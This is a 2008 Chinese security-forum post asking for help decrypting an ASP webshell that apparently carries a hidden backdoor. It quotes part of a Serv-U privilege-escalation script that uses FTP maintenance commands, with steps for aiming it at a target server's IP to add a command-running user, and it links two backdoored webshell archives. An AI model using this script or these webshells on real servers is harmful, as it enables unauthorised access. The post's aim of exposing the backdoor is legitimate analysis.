【3.A.S.T】网络安全爱好者 » 技术交流 » [讨论]希望擅长asp解密的大鸟来瞧瞧

s37su37 发表于 2008-7-23 08:37

[讨论]希望擅长asp解密的大鸟来瞧瞧

[讨论]希望擅长asp解密的大鸟来瞧瞧
议题作者：亲爱的小层
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

   这事挺郁闷的，2008-1-13 在逛黑吧的时候发现了一个文章《SERV-U 6.4提权脚本通杀SERV-U版本》  好象是好东东，于是装老鸟进去看了下，结果完全看不懂。附代码[img]http://forum.eviloctal.com/images/smilies/yangcong/63.gif[/img]



提权的代码如下:

ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DeleteDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _

修改ftpport为21  

修改newdomain后面的goldsun| IP(为要提权的服务器的IP地址)|

修改newuser后面的 -IP=IP地址和上面一样(为要提权的服务器的IP地址)...OK.....提权...会用FTP增加一个可以

执行命令的用户.....有个这个用户什么不能做




没想到第二天，有个叫幽月的高人做了个 提权通杀Serv-u所有版本(语音)
[url=http://www.hack58.net/Soft/html/9/18/2008/2008011412078.htm]http://www.hack58.net/Soft/html/9/18/2008/2008011412078.htm[/url]
里面使用了文章里的代码，做了个新款的asp马， 于是去他blog看了一下，
啊喔，还真的有 这个新版asp的下载，于是兴高采烈的下来试试。。 顺手看看有没有后门啥的，结果在缓存里发现了点东西。

[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_138f8ab846e5714.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10889&nothumb=yes]1.jpg[/url] (23 KB)
后门图

2008-1-16 11:05



于是继续装老鸟看了下代码，可惜技术有限，代码被处理过，找不出后门的位置.

一时气愤不过，于是做了个揭露教程，没想到第二天在黑吧  揭露教程跟这款asp马 同时更新提供下载。。 汗。绝对的汗......


中午被后门作者找上门了，给我灌输了一些邪恶的知识，他 正义无私的形象差点就在我心里树立起来了....
[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_c2e16e9f0cef957.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10890&nothumb=yes]2.jpg[/url] (42 KB)
聊天记录

2008-1-16 11:05

[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_d897c103325a6e5.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10891&nothumb=yes]3.jpg[/url] (24 KB)
聊天记录

2008-1-16 11:05

[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_4c13b2236f38109.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10892&nothumb=yes]4.jpg[/url] (23 KB)
聊天记录

2008-1-16 11:05

聊天记录就放这么多了，免的老鸟看烦了。呵呵

本想事情应该这么结束了，没想到 晚上....

[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_1c3868e02f8c034.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10893&nothumb=yes]5.jpg[/url] (11 KB)
聊天记录

2008-1-16 11:05

汗，莫非跟我聊回天，被我的佛力感染，放下屠刀了。 老呐再入地狱检测下。。
结果还是死性不改。。  为了不冤枉他，找个朋友开虚拟机，远程上去。结果还是...无话

[img]http://forum.eviloctal.com/images/default/attachimg.gif[/img]  [img]http://forum.eviloctal.com/attachments/Mon_0801/58_81487_145d4b9ff0189ec.jpg[/img] [img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10894&nothumb=yes]6.jpg[/url] (27 KB)
后门图

2008-1-16 11:05

细想一下，估计明天黑吧 应该也会出现他发布的所谓 去后门版本的asp马吧[img]http://forum.eviloctal.com/images/smilies/yangcong/57.gif[/img]

不如我再来个揭露教程，再搞笑一下 同时提供下载。呵呵， 目前教程已发。不知道会不会公布。呵呵




废话了那么久，大鸟见谅....

附带 第一版本的后门马 和所谓的 未加密版本的后门马。。。。



第一版本的后门马里的PHP马 已经在黑吧被人详细找出后门位置，
见  [url=http://www.hack58.net/Soft/html/12/24/2007/2007122811896.htm]http://www.hack58.net/Soft/html/12/24/2007/2007122811896.htm[/url]

asp马目前好象没见人说找出来了，更别提所谓的未加密版本的后门位置在那。。
实在蛮佩服作者 放后门的技术，施主，再听老呐一言： 放下屠刀，力地成佛。
  别丢鸡蛋，闪. 希望管理员能把帖子转移一下。呵呵
附件
[img]http://forum.eviloctal.com/images/attachicons/zip.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10895]第一版本的后门马.gz[/url] (255 KB)
2008-1-16 11:05, 下载次数: 45
第一版本的后门马
[img]http://forum.eviloctal.com/images/attachicons/zip.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=10896]未加密版本的后门马.gz[/url] (51 KB)
2008-1-16 11:05, 下载次数: 37
未加密版本的后门马
帖子3 精华[url=http://forum.eviloctal.com/digest.php?authorid=81487]0[/url] 积分13 阅读权限40 性别男 在线时间14 小时

查看完整版本: [讨论]希望擅长asp解密的大鸟来瞧瞧